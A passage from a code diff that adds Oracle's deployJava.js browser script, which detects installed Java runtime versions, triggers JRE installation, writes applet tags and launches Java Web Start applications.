+        // This is because they are aware of both SUN and Oracle signature and
+        // will not show cert mismatch dialog that might cause deadlock
+        if (deployJava.compareVersionToPattern(deployJava.getPlugin().version,
+            ["10", "0", "0"], false, true)) {
+            return true;
+        }
+
+        // If we got there, DT plugin is 6uX
+
+        if (requestedJREVersion  == null) {
+            // if requestedJREVersion is not defined - it means ANY.
+            // can not guarantee it is safe to install ANY version because 6uX
+            // DT does not know about Oracle certificates and may deadlock
+            return false;
+        }
+
+        // 6u32 or earlier JRE installer used Sun certificate
+        // 6u33+ uses Oracle's certificate
+        // DT in JRE6 does not know about Oracle certificate => can only
+        // install 6u32 or earlier without risk of deadlock
+        return !versionCheckEx("1.6.0_33+", requestedJREVersion);
+    }
+
+    /* HTML attribute filters */
+
+    var rv = {
+
+        debug: null,
+
+        /* version of deployJava.js */
+        version: "20120801",
+
+        firefoxJavaVersion: null,
+
+        myInterval: null,
+        preInstallJREList: null,
+        returnPage: null,
+        brand: null,
+        locale: null,
+        installType: null,
+
+        EAInstallEnabled: false,
+        EarlyAccessURL: null,
+
+
+        // mime-type of the DeployToolkit plugin object
+        oldMimeType: 'application/npruntime-scriptable-plugin;DeploymentToolkit',
+        mimeType: 'application/java-deployment-toolkit',
+
+        /* location of the Java Web Start launch button graphic is right next to
+         * deployJava.js at:
+         *    http://java.com/js/webstart.png
+         *
+         * Use protocol less url here for http/https support
+         */
+        launchButtonPNG: getWebStartLaunchIconURL(),
+
+        browserName: null,
+        browserName2: null,
+
+        /**
+         * Returns an array of currently-installed JRE version strings.
+         * Version strings are of the form #.#[.#[_#]], with the function returning
+         * as much version information as it can determine, from just family
+         * versions ("1.4.2", "1.5") through the full version ("1.5.0_06").
+         *
+         * Detection is done on a best-effort basis.  Under some circumstances
+         * only the highest installed JRE version will be detected, and
+         * JREs older than 1.4.2 will not always be detected.
+         */
+        getJREs: function() {
+            var list = new Array();
+            if (this.isPluginInstalled()) {
+                var plugin =  this.getPlugin();
+                var VMs = plugin.jvms;
+                for (var i = 0; i < VMs.getLength(); i++) {
+                    list[i] = VMs.get(i).version;
+                }
+            } else {
+                var browser = this.getBrowser();
+
+                if (browser == 'MSIE') {
+                    if (this.testUsingActiveX('1.7.0')) {
+                        list[0] = '1.7.0';
+                    } else if (this.testUsingActiveX('1.6.0')) {
+                        list[0] = '1.6.0';
+                    } else if (this.testUsingActiveX('1.5.0')) {
+                        list[0] = '1.5.0';
+                    } else if (this.testUsingActiveX('1.4.2')) {
+                        list[0] = '1.4.2';
+                    } else if (this.testForMSVM()) {
+                        list[0] = '1.1';
+                    }
+                } else if (browser == 'Netscape Family') {
+                    this.getJPIVersionUsingMimeType();
+                    if (this.firefoxJavaVersion != null) {
+                        list[0] = this.firefoxJavaVersion;
+                    } else if (this.testUsingMimeTypes('1.7')) {
+                        list[0] = '1.7.0';
+                    } else if (this.testUsingMimeTypes('1.6')) {
+                        list[0] = '1.6.0';
+                    } else if (this.testUsingMimeTypes('1.5')) {
+                        list[0] = '1.5.0';
+                    } else if (this.testUsingMimeTypes('1.4.2')) {
+                        list[0] = '1.4.2';
+                    } else if (this.browserName2 == 'Safari') {
+                        if (this.testUsingPluginsArray('1.7.0')) {
+                            list[0] = '1.7.0';
+                        } else if (this.testUsingPluginsArray('1.6')) {
+                            list[0] = '1.6.0';
+                        } else if (this.testUsingPluginsArray('1.5')) {
+                            list[0] = '1.5.0';
+                        } else if (this.testUsingPluginsArray('1.4.2')) {
+                            list[0] = '1.4.2';
+                        }
+                    }
+                }
+            }
+
+            if (this.debug) {
+                for (var i = 0; i < list.length; ++i) {
+                    log('[getJREs()] We claim to have detected Java SE ' + list[i]);
+                }
+            }
+
+            return list;
+        },
+
+        /**
+         * Triggers a JRE installation.  The exact effect of triggering an
+         * installation varies based on platform, browser, and if the
+         * Deployment Toolkit plugin is installed.
+         *
+         * The requestVersion string is of the form #[.#[.#[_#]]][+|*],
+         * which includes strings such as "1.4", "1.5.0*", and "1.6.0_02+".
+         * A star (*) means "any version starting within this family" and
+         * a plus (+) means "any version greater or equal to this".
+         * "1.5.0*" * matches 1.5.0_06 but not 1.6.0_01, whereas
+         * "1.5.0+" matches both.
+         *
+         * installCallback is an optional argument which holds a reference
+         * to a javascript callback function for reporting install status.
+         *
+         * If the Deployment Toolkit plugin is not present, this will just call
+         * this.installLatestJRE().
+         */
+        installJRE: function(requestVersion, installCallback) {
+            var ret = false;
+            if (this.isPluginInstalled() &&
+                this.isAutoInstallEnabled(requestVersion)) {
+                var installSucceeded = false;
+                if (this.isCallbackSupported()) {
+                    installSucceeded =
+                        this.getPlugin().installJRE(requestVersion, installCallback);
+                } else {
+                    installSucceeded = this.getPlugin().installJRE(requestVersion);
+                }
+
+                if (installSucceeded) {
+                    this.refresh();
+                    if (this.returnPage != null) {
+                        document.location = this.returnPage;
+                    }
+                }
+                return installSucceeded;
+            } else {
+                return this.installLatestJRE();
+            }
+        },
+
+        /**
+         * returns true if jre auto install for the requestedJREVersion is enabled
+         * for the local system; false otherwise
+         *
+         * requestedJREVersion param is optional - if not specified, it will be
+         * treated as installing any JRE version
+         *
+         * DT plugin for 6uX only knows about JRE installer signed by SUN cert.
+         * If it encounter Oracle signed JRE installer, it will have chance of
+         * deadlock when running with IE.  This function is to guard against this.
+         */
+        isAutoInstallEnabled: function(requestedJREVersion) {
+            // if no DT plugin, return false
+            if (!this.isPluginInstalled()) return false;
+
+            if (typeof requestedJREVersion  == 'undefined') {
+                requestedJREVersion = null;
+            }
+
+            return enableWithoutCertMisMatchWorkaround(requestedJREVersion);
+
+        },
+
+        /**
+         * returns true if jre install callback is supported
+         * callback support is added since dt plugin version 10.2.0 or above
+         */
+        isCallbackSupported: function() {
+            return this.isPluginInstalled() &&
+                this.compareVersionToPattern(this.getPlugin().version,
+                    ["10", "2", "0"], false, true);
+        },
+
+        /**
+         * Triggers a JRE installation.  The exact effect of triggering an
+         * installation varies based on platform, browser, and if the
+         * Deployment Toolkit plugin is installed.
+         *
+         * In the simplest case, the browser window will be redirected to the
+         * java.com JRE installation page, and (if possible) a redirect back to
+         * the current URL upon successful installation.  The return redirect is
+         * not always possible, as the JRE installation may require the browser to
+         * be restarted.
+         *
+         * installCallback is an optional argument which holds a reference
+         * to a javascript callback function for reporting install status.
+         *
+         * In the best case (when the Deployment Toolkit plugin is present), this
+         * function will immediately cause a progress dialog to be displayed
+         * as the JRE is downloaded and installed.
+         */
+        installLatestJRE: function(installCallback) {
+            if (this.isPluginInstalled() && this.isAutoInstallEnabled()) {
+                var installSucceeded = false;
+                if (this.isCallbackSupported()) {
+                    installSucceeded = this.getPlugin().installLatestJRE(installCallback);
+                } else {
+                    installSucceeded = this.getPlugin().installLatestJRE();
+                }
+                if (installSucceeded) {
+                    this.refresh();
+                    if (this.returnPage != null) {
+                        document.location = this.returnPage;
+                    }
+                }
+                return installSucceeded;
+            } else {
+                var browser = this.getBrowser();
+                var platform = navigator.platform.toLowerCase();
+                if ((this.EAInstallEnabled == 'true') &&
+                    (platform.indexOf('win') != -1) &&
+                    (this.EarlyAccessURL != null)) {
+
+                    this.preInstallJREList = this.getJREs();
+                    if (this.returnPage != null) {
+                        this.myInterval =
+                            setInterval("deployJava.poll()", 3000);
+                    }
+
+                    location.href = this.EarlyAccessURL;
+
+                    // we have to return false although there may be an install
+                    // in progress now, when complete it may go to return page
+                    return false;
+                } else {
+                    if (browser == 'MSIE') {
+                        return this.IEInstall();
+                    } else if ((browser == 'Netscape Family') &&
+                        (platform.indexOf('win32') != -1)) {
+                        return this.FFInstall();
+                    } else {
+                        location.href = constructGetJavaURL(
+                            ((this.returnPage != null) ?
+                                ('&returnPage=' + this.returnPage) : '') +
+                                ((this.locale != null) ?
+                                    ('&locale=' + this.locale) : '') +
+                                ((this.brand != null) ?
+                                    ('&brand=' + this.brand) : ''));
+                    }
+                    // we have to return false although there may be an install
+                    // in progress now, when complete it may go to return page
+                    return false;
+                }
+            }
+        },
+
+
+        /**
+         * Ensures that an appropriate JRE is installed and then runs an applet.
+         * minimumVersion is of the form #[.#[.#[_#]]], and is the minimum
+         * JRE version necessary to run this applet.  minimumVersion is optional,
+         * defaulting to the value "1.1" (which matches any JRE).
+         * If an equal or greater JRE is detected, runApplet() will call
+         * writeAppletTag(attributes, parameters) to output the applet tag,
+         * otherwise it will call installJRE(minimumVersion + '+').
+         *
+         * After installJRE() is called, the script will attempt to detect that the
+         * JRE installation has completed and begin running the applet, but there
+         * are circumstances (such as when the JRE installation requires a browser
+         * restart) when this cannot be fulfilled.
+         *
+         * As with writeAppletTag(), this function should only be called prior to
+         * the web page being completely rendered.  Note that version wildcards
+         * (star (*) and plus (+)) are not supported, and including them in the
+         * minimumVersion will result in an error message.
+         */
+        runApplet: function(attributes, parameters, minimumVersion) {
+            if (minimumVersion == 'undefined' || minimumVersion == null) {
+                minimumVersion = '1.1';
+            }
+
+            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
+
+            var matchData = minimumVersion.match(regex);
+
+            if (this.returnPage == null) {
+                // if there is an install, come back here and run the applet
+                this.returnPage = document.location;
+            }
+
+            if (matchData != null) {
+                var browser = this.getBrowser();
+                if (browser != '?') {
+                    if (this.versionCheck(minimumVersion + '+')) {
+                        this.writeAppletTag(attributes, parameters);
+                    } else if (this.installJRE(minimumVersion + '+')) {
+                        // after successful install we need to refresh page to pick
+                        // pick up new plugin
+                        this.refresh();
+                        location.href = document.location;
+                        this.writeAppletTag(attributes, parameters);
+                    }
+                } else {
+                    // for unknown or Safari - just try to show applet
+                    this.writeAppletTag(attributes, parameters);
+                }
+            } else {
+                log('[runApplet()] Invalid minimumVersion argument to runApplet():' +
+                    minimumVersion);
+            }
+        },
+
+
+        /**
+         * Outputs an applet tag with the specified attributes and parameters, where
+         * both attributes and parameters are associative arrays.  Each key/value
+         * pair in attributes becomes an attribute of the applet tag itself, while
+         * key/value pairs in parameters become <PARAM> tags.  No version checking
+         * or other special behaviors are performed; the tag is simply written to
+         * the page using document.writeln().
+         *
+         * As document.writeln() is generally only safe to use while the page is
+         * being rendered, you should never call this function after the page
+         * has been completed.
+         */
+        writeAppletTag: function(attributes, parameters) {
+            var startApplet = '<' + 'applet ';
+            var params = '';
+            var endApplet = '<' + '/' + 'applet' + '>';
+            var addCodeAttribute = true;
+
+            if (null == parameters || typeof parameters != 'object') {
+                parameters = new Object();
+            }
+
+            for (var attribute in attributes) {
+                if (! isValidAppletAttr(attribute)) {
+                    parameters[attribute] = attributes[attribute];
+                } else {
+                    startApplet += (' ' +attribute+ '="' +attributes[attribute] + '"');
+                    if (attribute == 'code') {
+                        addCodeAttribute = false;
+                    }
+                }
+            }
+
+            var codebaseParam = false;
+            for (var parameter in parameters) {
+                if (parameter == 'codebase_lookup') {
+                    codebaseParam = true;
+                }
+                // Originally, parameter 'object' was used for serialized
+                // applets, later, to avoid confusion with object tag in IE
+                // the 'java_object' was added.  Plugin supports both.
+                if (parameter == 'object' || parameter == 'java_object' ||
+                    parameter == 'java_code' ) {
+                    addCodeAttribute = false;
+                }
+                params += '<param name="' + parameter + '" value="' +
+                    parameters[parameter] + '"/>';
+            }
+            if (!codebaseParam) {
+                params += '<param name="codebase_lookup" value="false"/>';
+            }
+
+            if (addCodeAttribute) {
+                startApplet += (' code="dummy"');
+            }
+            startApplet += '>';
+
+            document.write(startApplet + '\n' + params + '\n' + endApplet);
+        },
+
+
+        /**
+         * Returns true if there is a matching JRE version currently installed
+         * (among those detected by getJREs()).  The versionPattern string is
+         * of the form #[.#[.#[_#]]][+|*], which includes strings such as "1.4",
+         * "1.5.0*", and "1.6.0_02+".
+         * A star (*) means "any version within this family" and a plus (+) means
+         * "any version greater or equal to the specified version".  "1.5.0*"
+         * matches 1.5.0_06 but not 1.6.0_01, whereas "1.5.0+" matches both.
+         *
+         * If the versionPattern does not include all four version components
+         * but does not end with a star or plus, it will be treated as if it
+         * ended with a star.  "1.5" is exactly equivalent to "1.5*", and will
+         * match any version number beginning with "1.5".
+         *
+         * If getJREs() is unable to detect the precise version number, a match
+         * could be ambiguous.  For example if getJREs() detects "1.5", there is
+         * no way to know whether the JRE matches "1.5.0_06+".  versionCheck()
+         * compares only as much of the version information as could be detected,
+         * so versionCheck("1.5.0_06+") would return true in in this case.
+         *
+         * Invalid versionPattern will result in a JavaScript error alert.
+         * versionPatterns which are valid but do not match any existing JRE
+         * release (e.g. "32.65+") will always return false.
+         */
+        versionCheck: function(versionPattern)
+        {
+            var index = 0;
+            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?(\\*|\\+)?$";
+
+            var matchData = versionPattern.match(regex);
+
+            if (matchData != null) {
+                // default is exact version match
+                // examples:
+                //    local machine has 1.7.0_04 only installed
+                //    exact match request is "1.7.0_05":  return false
+                //    family match request is "1.7.0*":   return true
+                //    minimum match request is "1.6+":    return true
+                var familyMatch = false;
+                var minMatch = false;
+
+                var patternArray = new Array();
+
+                for (var i = 1; i < matchData.length; ++i) {
+                    // browser dependency here.
+                    // Fx sets 'undefined', IE sets '' string for unmatched groups
+                    if ((typeof matchData[i] == 'string') && (matchData[i] != '')) {
+                        patternArray[index] = matchData[i];
+                        index++;
+                    }
+                }
+
+                if (patternArray[patternArray.length-1] == '+') {
+                    // + specified in request - doing a minimum match
+                    minMatch = true;
+                    familyMatch = false;
+                    patternArray.length--;
+                } else if (patternArray[patternArray.length-1] == '*') {
+                    // * specified in request - doing a family match
+                    minMatch = false;
+                    familyMatch = true;
+                    patternArray.length--;
+                } else if (patternArray.length < 4) {
+                    // versionPattern does not include all four version components
+                    // and does not end with a star or plus, it will be treated as
+                    // if it ended with a star. (family match)
+                    minMatch = false;
+                    familyMatch = true;
+                }
+
+                var list = this.getJREs();
+                for (var i = 0; i < list.length; ++i) {
+                    if (this.compareVersionToPattern(list[i], patternArray,
+                        familyMatch, minMatch)) {
+                        return true;
+                    }
+                }
+
+                return false;
+            } else {
+                var msg = 'Invalid versionPattern passed to versionCheck: ' +
+                    versionPattern;
+                log('[versionCheck()] ' + msg);
+                alert(msg);
+                return false;
+            }
+        },
+
+
+        /**
+         * Returns true if an installation of Java Web Start of the specified
+         * minimumVersion can be detected.  minimumVersion is optional, and
+         * if not specified, '1.4.2' will be used.
+         * (Versions earlier than 1.4.2 may not be detected.)
+         */
+        isWebStartInstalled: function(minimumVersion) {
+
+            var browser = this.getBrowser();
+            if (browser == '?') {
+                // we really don't know - better to try to use it than reinstall
+                return true;
+            }
+
+            if (minimumVersion == 'undefined' || minimumVersion == null) {
+                minimumVersion = '1.4.2';
+            }
+
+            var retval = false;
+            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
+            var matchData = minimumVersion.match(regex);
+
+            if (matchData != null) {
+                retval = this.versionCheck(minimumVersion + '+');
+            } else {
+                log('[isWebStartInstaller()] Invalid minimumVersion argument to isWebStartInstalled(): ' + minimumVersion);
+                retval = this.versionCheck('1.4.2+');
+            }
+            return retval;
+        },
+
+        // obtain JPI version using navigator.mimeTypes array
+        // if found, set the version to this.firefoxJavaVersion
+        getJPIVersionUsingMimeType: function() {
+            // Walk through the full list of mime types.
+            for (var i = 0; i < navigator.mimeTypes.length; ++i) {
+                var s = navigator.mimeTypes[i].type;
+                // The jpi-version is the plug-in version.  This is the best
+                // version to use.
+                var m = s.match(/^application\/x-java-applet;jpi-version=(.*)$/);
+                if (m != null) {
+                    this.firefoxJavaVersion = m[1];
+                    // Opera puts the latest sun JRE last not first
+                    if ('Opera' != this.browserName2) {
+                        break;
+                    }
+                }
+            }
+        },
+
+        // launch the specified JNLP application using the passed in jnlp file
+        // the jnlp file does not need to have a codebase
+        // this requires JRE 7 or above to work
+        // if machine has no JRE 7 or above, we will try to auto-install and then launch
+        // (function will return false if JRE auto-install failed)
+        launchWebStartApplication: function(jnlp) {
+            var uaString = navigator.userAgent.toLowerCase();
+
+            this.getJPIVersionUsingMimeType();
+
+            // make sure we are JRE 7 or above
+            if (this.isWebStartInstalled('1.7.0') == false) {
+
+                // perform latest JRE auto-install
+                if ((this.installJRE('1.7.0+') == false) ||
+                    ((this.isWebStartInstalled('1.7.0') == false))) {
+                    return false;
+                }
+            }
+
+            var jnlpDocbase = null;
+
+            // use document.documentURI for docbase
+            if (document.documentURI) {
+                jnlpDocbase = document.documentURI;
+            }
+
+            // fallback to document.URL if documentURI not available
+            if (jnlpDocbase == null) {
+                jnlpDocbase = document.URL;
+            }
+
+            var browser = this.getBrowser();
+
+            var launchTag;
+
+            if (browser == 'MSIE') {
+
+                launchTag = '<' +
+                    'object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" ' +
+                    'width="0" height="0">' +
+                    '<' + 'PARAM name="launchjnlp" value="' + jnlp + '"' + '>' +
+                    '<' + 'PARAM name="docbase" value="' + jnlpDocbase + '"' + '>' +
+                    '<' + '/' + 'object' + '>';
+            } else if (browser == 'Netscape Family') {
+
+                launchTag = '<' +
+                    'embed type="application/x-java-applet;jpi-version=' +
+                    this.firefoxJavaVersion + '" ' +
+                    'width="0" height="0" ' +
+                    'launchjnlp="' +  jnlp + '"' +
+                    'docbase="' +  jnlpDocbase + '"' +
+                    ' />';
+            }
+
+            if (document.body == 'undefined' || document.body == null) {
+                document.write(launchTag);
+                // go back to original page, otherwise current page becomes blank
+                document.location = jnlpDocbase;
+            } else {
+                var divTag = document.createElement("div");
+                divTag.id = "div1";
+                divTag.style.position = "relative";
+                divTag.style.left = "-10000px";
+                divTag.style.margin = "0px auto";
+                divTag.className ="dynamicDiv";
+                divTag.innerHTML = launchTag;
+                document.body.appendChild(divTag);
+            }
+        },
+
+        createWebStartLaunchButtonEx: function(jnlp, minimumVersion) {
+
+            if (this.returnPage == null) {
+                // if there is an install, come back and run the jnlp file
+                this.returnPage = jnlp;
+            }
+
+            var url = 'javascript:deployJava.launchWebStartApplication(\'' + jnlp +
+                '\');';
+
+            document.write('<' + 'a href="' + url +
+                '" onMouseOver="window.status=\'\'; ' +
+                'return true;"><' + 'img ' +
+                'src="' + this.launchButtonPNG + '" ' +
+                'border="0" /><' + '/' + 'a' + '>');
+        },
+
+
+        /**
+         * Outputs a launch button for the specified JNLP URL.  When clicked, the
+         * button will ensure that an appropriate JRE is installed and then launch
+         * the JNLP application.  minimumVersion is of the form #[.#[.#[_#]]], and
+         * is the minimum JRE version necessary to run this JNLP application.
+         * minimumVersion is optional, and if it is not specified, '1.4.2'
+         * will be used.
+         * If an appropriate JRE or Web Start installation is detected,
+         * the JNLP application will be launched, otherwise installLatestJRE()
+         * will be called.
+         *
+         * After installLatestJRE() is called, the script will attempt to detect
+         * that the JRE installation has completed and launch the JNLP application,
+         * but there are circumstances (such as when the JRE installation
+         * requires a browser restart) when this cannot be fulfilled.
+         */
+        createWebStartLaunchButton: function(jnlp, minimumVersion) {
+
+            if (this.returnPage == null) {
+                // if there is an install, come back and run the jnlp file
+                this.returnPage = jnlp;
+            }
+
+            var url = 'javascript:' +
+                'if (!deployJava.isWebStartInstalled(&quot;' +
+                minimumVersion + '&quot;)) {' +
+                'if (deployJava.installLatestJRE()) {' +
+                'if (deployJava.launch(&quot;' + jnlp + '&quot;)) {}' +
+                '}' +
+                '} else {' +
+                'if (deployJava.launch(&quot;' + jnlp + '&quot;)) {}' +
+                '}';
+
+            document.write('<' + 'a href="' + url +
+                '" onMouseOver="window.status=\'\'; ' +
+                'return true;"><' + 'img ' +
+                'src="' + this.launchButtonPNG + '" ' +
+                'border="0" /><' + '/' + 'a' + '>');
+        },
+
+
+        /**
+         * Launch a JNLP application, (using the plugin if available)
+         */
+        launch: function(jnlp) {
+            /*
+             * Using the plugin to launch Java Web Start is disabled for the time being
+             */
+            document.location=jnlp;
+            return true;
+        },
+
+
+        /*
+         * returns true if the ActiveX or XPI plugin is installed
+         */
+        isPluginInstalled: function() {
+            var plugin = this.getPlugin();
+            if (plugin && plugin.jvms) {
+                return true;
+            } else {
+                return false;
+            }
+        },
+
+        /*
+         * returns true if the plugin is installed and AutoUpdate is enabled
+         */
+        isAutoUpdateEnabled: function() {
+            if (this.isPluginInstalled()) {
+                return this.getPlugin().isAutoUpdateEnabled();
+            }
+            return false;
+        },
+
+        /*
+         * sets AutoUpdate on if plugin is installed
+         */
+        setAutoUpdateEnabled: function() {
+            if (this.isPluginInstalled()) {
+                return this.getPlugin().setAutoUpdateEnabled();
+            }
+            return false;
+        },
+
+        /*
+         * sets the preferred install type : null, online, kernel
+         */
+        setInstallerType: function(type) {
+            this.installType = type;
+            if (this.isPluginInstalled()) {
+                return this.getPlugin().setInstallerType(type);
+            }
+            return false;
+        },
+
+        /*
+         * sets additional package list - to be used by kernel installer
+         */
+        setAdditionalPackages: function(packageList) {
+            if (this.isPluginInstalled()) {
+                return this.getPlugin().setAdditionalPackages(
+                    packageList);
+            }
+            return false;
+        },
+
+        /*
+         * sets preference to install Early Access versions if available
+         */
+        setEarlyAccess: function(enabled) {
+            this.EAInstallEnabled = enabled;
+        },
+
+        /*
+         * Determines if the next generation plugin (Plugin II) is default
+         */
+        isPlugin2: function() {
+            if (this.isPluginInstalled()) {
+                if (this.versionCheck('1.6.0_10+')) {
+                    try {
+                        return this.getPlugin().isPlugin2();
+                    } catch (err) {
+                        // older plugin w/o isPlugin2() function -
+                    }
+                }
+            }
+            return false;
+        },
+
+        //support native DT plugin?
+        allowPlugin: function() {
+            this.getBrowser();
+
+            // Safari and Opera browsers find the plugin but it
+            // doesn't work, so until we can get it to work - don't use it.
+            var ret = ('Safari' != this.browserName2 &&
+                'Opera' != this.browserName2);
+
+            return ret;
+        },
+
+        getPlugin: function() {
+            this.refresh();
+
+            var ret = null;
+            if (this.allowPlugin()) {
+                ret = document.getElementById('deployJavaPlugin');
+            }
+            return ret;
+        },
+
+        compareVersionToPattern: function(version, patternArray,
+                                          familyMatch, minMatch) {
+            if (version == undefined || patternArray == undefined) {
+                return false;
+            }
+            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
+            var matchData = version.match(regex);
+
+            if (matchData != null) {
+                var index = 0;
+                var result = new Array();
+
+                for (var i = 1; i < matchData.length; ++i) {
+                    if ((typeof matchData[i] == 'string') && (matchData[i] != ''))
+                    {
+                        result[index] = matchData[i];
+                        index++;
+                    }
+                }
+
+                var l = Math.min(result.length, patternArray.length);
+
+                // result contains what is installed in local machine
+                // patternArray is what is being requested by application
+                if (minMatch) {
+                    // minimum version match, return true if what we have (installed)
+                    // is greater or equal to what is requested.  false otherwise.
+                    for (var i = 0; i < l; ++i) {
+                        if (result[i] < patternArray[i]) {
+                            return false;
+                        } else if (result[i] > patternArray[i]) {
+                            return true;
+                        }
+                    }
+                    return true;
+                } else {
+                    for (var i = 0; i < l; ++i) {
+                        if (result[i] != patternArray[i]) return false;
+                    }
+                    if (familyMatch) {
+                        // family match - return true as long as what we have
+                        // (installed) matches up to the request pattern
+                        return true;
+                    } else {
+                        // exact match
+                        // result and patternArray needs to have exact same content
+                        return (result.length == patternArray.length);
+                    }
+                }
+            } else {
+                return false;
+            }
+        },
+
+        getBrowser: function() {
+
+            if (this.browserName == null) {
+                var browser = navigator.userAgent.toLowerCase();
+
+                log('[getBrowser()] navigator.userAgent.toLowerCase() -> ' + browser);
+
+
+                // order is important here.  Safari userAgent contains mozilla,
+                // and Chrome userAgent contains both mozilla and safari.
+                if ((browser.indexOf('msie') != -1) && (browser.indexOf('opera') == -1)) {
+                    this.browserName = 'MSIE';
+                    this.browserName2 = 'MSIE';
+                } else if (browser.indexOf('iphone') != -1) {
+                    // this included both iPhone and iPad
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'iPhone';
+                } else if ((browser.indexOf('firefox') != -1) && (browser.indexOf('opera') == -1)) {
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'Firefox';
+                } else if (browser.indexOf('chrome') != -1) {
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'Chrome';
+                } else if (browser.indexOf('safari') != -1) {
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'Safari';
+                } else if ((browser.indexOf('mozilla') != -1) && (browser.indexOf('opera') == -1)) {
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'Other';
+                } else if (browser.indexOf('opera') != -1) {
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'Opera';
+                } else {
+                    this.browserName = '?';
+                    this.browserName2 = 'unknown';
+                }
+
+                log('[getBrowser()] Detected browser name:'+ this.browserName +
+                    ', ' + this.browserName2);
+            }
+            return this.browserName;
+        },
+
+
+        testUsingActiveX: function(version) {
+            var objectName = 'JavaWebStart.isInstalled.' + version + '.0';
+
+            // we need the typeof check here for this to run on FF/Chrome
+            // the check needs to be in place here - cannot even pass ActiveXObject
+            // as arg to another function
+            if (typeof ActiveXObject == 'undefined' || !ActiveXObject) {
+                log('[testUsingActiveX()] Browser claims to be IE, but no ActiveXObject object?');
+                return false;
+            }
+
+            try {
+                return (new ActiveXObject(objectName) != null);
+            } catch (exception) {
+                return false;
+            }
+        },
+
+
+        testForMSVM: function() {
+            var clsid = '{08B0E5C0-4FCB-11CF-AAA5-00401C608500}';
+
+            if (typeof oClientCaps != 'undefined') {
+                var v = oClientCaps.getComponentVersion(clsid, "ComponentID");
+                if ((v == '') || (v == '5,0,5000,0')) {
+                    return false;
+                } else {
+                    return true;
+                }
+            } else {
+                return false;
+            }
+        },
+
+
+        testUsingMimeTypes: function(version) {
+            if (!navigator.mimeTypes) {
+                log ('[testUsingMimeTypes()] Browser claims to be Netscape family, but no mimeTypes[] array?');
+                return false;
+            }
+
+            for (var i = 0; i < navigator.mimeTypes.length; ++i) {
+                s = navigator.mimeTypes[i].type;
+                var m = s.match(/^application\/x-java-applet\x3Bversion=(1\.8|1\.7|1\.6|1\.5|1\.4\.2)$/);
+                if (m != null) {
+                    if (this.compareVersions(m[1], version)) {
+                        return true;
+                    }
+                }
+            }
+            return false;
+        },
+
+        testUsingPluginsArray: function(version) {
+            if ((!navigator.plugins) || (!navigator.plugins.length)) {
+                return false;
+            }
+            var platform = navigator.platform.toLowerCase();
+
+            for (var i = 0; i < navigator.plugins.length; ++i) {
+                s = navigator.plugins[i].description;
+                if (s.search(/^Java Switchable Plug-in (Cocoa)/) != -1) {
+                    // Safari on MAC
+                    if (this.compareVersions("1.5.0", version)) {
+                        return true;
+                    }
+                } else if (s.search(/^Java/) != -1) {
+                    if (platform.indexOf('win') != -1) {
+                        // still can't tell - opera, safari on windows
+                        // return true for 1.5.0 and 1.6.0
+                        if (this.compareVersions("1.5.0", version) ||
+                            this.compareVersions("1.6.0", version)) {
+                            return true;
+                        }
+                    }
+                }
+            }
+            // if above dosn't work on Apple or Windows, just allow 1.5.0
+            if (this.compareVersions("1.5.0", version)) {
+                return true;
+            }
+            return false;
+
+
+
+        },
+
+        IEInstall: function() {
+
+            location.href = constructGetJavaURL(
+                ((this.returnPage != null) ?
+                    ('&returnPage=' + this.returnPage) : '') +
+                    ((this.locale != null) ?
+                        ('&locale=' + this.locale) : '') +
+                    ((this.brand != null) ? ('&brand=' + this.brand) : ''));
+
+            // should not actually get here
+            return false;
+        },
+
+        done: function (name, result) {
+        },
+
+        FFInstall: function() {
+
+            location.href = constructGetJavaURL(
+                ((this.returnPage != null) ?
+                    ('&returnPage=' + this.returnPage) : '') +
+                    ((this.locale != null) ?
+                        ('&locale=' + this.locale) : '') +
+                    ((this.brand != null) ? ('&brand=' + this.brand) : '') +
+                    ((this.installType != null) ?
+                        ('&type=' + this.installType) : ''));
+
+            // should not actually get here
+            return false;
+        },
+
+        // return true if 'installed' (considered as a JRE version string) is
+        // greater than or equal to 'required' (again, a JRE version string).
+        compareVersions: function(installed, required) {
+
+            var a = installed.split('.');
+            var b = required.split('.');
+
+            for (var i = 0; i < a.length; ++i) {
+                a[i] = Number(a[i]);
+            }
+            for (var i = 0; i < b.length; ++i) {
+                b[i] = Number(b[i]);
+            }
+            if (a.length == 2) {
+                a[2] = 0;
+            }
+
+            if (a[0] > b[0]) return true;
+            if (a[0] < b[0]) return false;
+
+            if (a[1] > b[1]) return true;
+            if (a[1] < b[1]) return false;
+
+            if (a[2] > b[2]) return true;
+            if (a[2] < b[2]) return false;
+
+            return true;
+        },
+
+        enableAlerts: function() {
+            // reset this so we can show the browser detection
+            this.browserName = null;
+            this.debug = true;
+        },
+
+        poll: function() {
+
+            this.refresh();
+            var postInstallJREList = this.getJREs();
+
+            if ((this.preInstallJREList.length == 0) &&
+                (postInstallJREList.length != 0)) {
+                clearInterval(this.myInterval);
+                if (this.returnPage != null) {
+                    location.href = this.returnPage;
+                };
+            }
+
+            if ((this.preInstallJREList.length != 0) &&
+                (postInstallJREList.length != 0) &&
+                (this.preInstallJREList[0] != postInstallJREList[0])) {
+                clearInterval(this.myInterval);
+                if (this.returnPage != null) {
+                    location.href = this.returnPage;
+                }
+            }
+
+        },
+
+        writePluginTag: function() {
+            var browser = this.getBrowser();
+
+            if (browser == 'MSIE') {
+                document.write('<' +
+                    'object classid="clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA" ' +
+                    'id="deployJavaPlugin" width="0" height="0">' +
+                    '<' + '/' + 'object' + '>');
+            } else if (browser == 'Netscape Family' && this.allowPlugin()) {
+                this.writeEmbedTag();
+            }
+        },
+
+        refresh: function() {
+            navigator.plugins.refresh(false);
+
+            var browser = this.getBrowser();
+            if (browser == 'Netscape Family' && this.allowPlugin()) {
+                var plugin = document.getElementById('deployJavaPlugin');
+                // only do this again if no plugin
+                if (plugin == null) {
+                    this.writeEmbedTag();
+                }
+            }
+        },
+
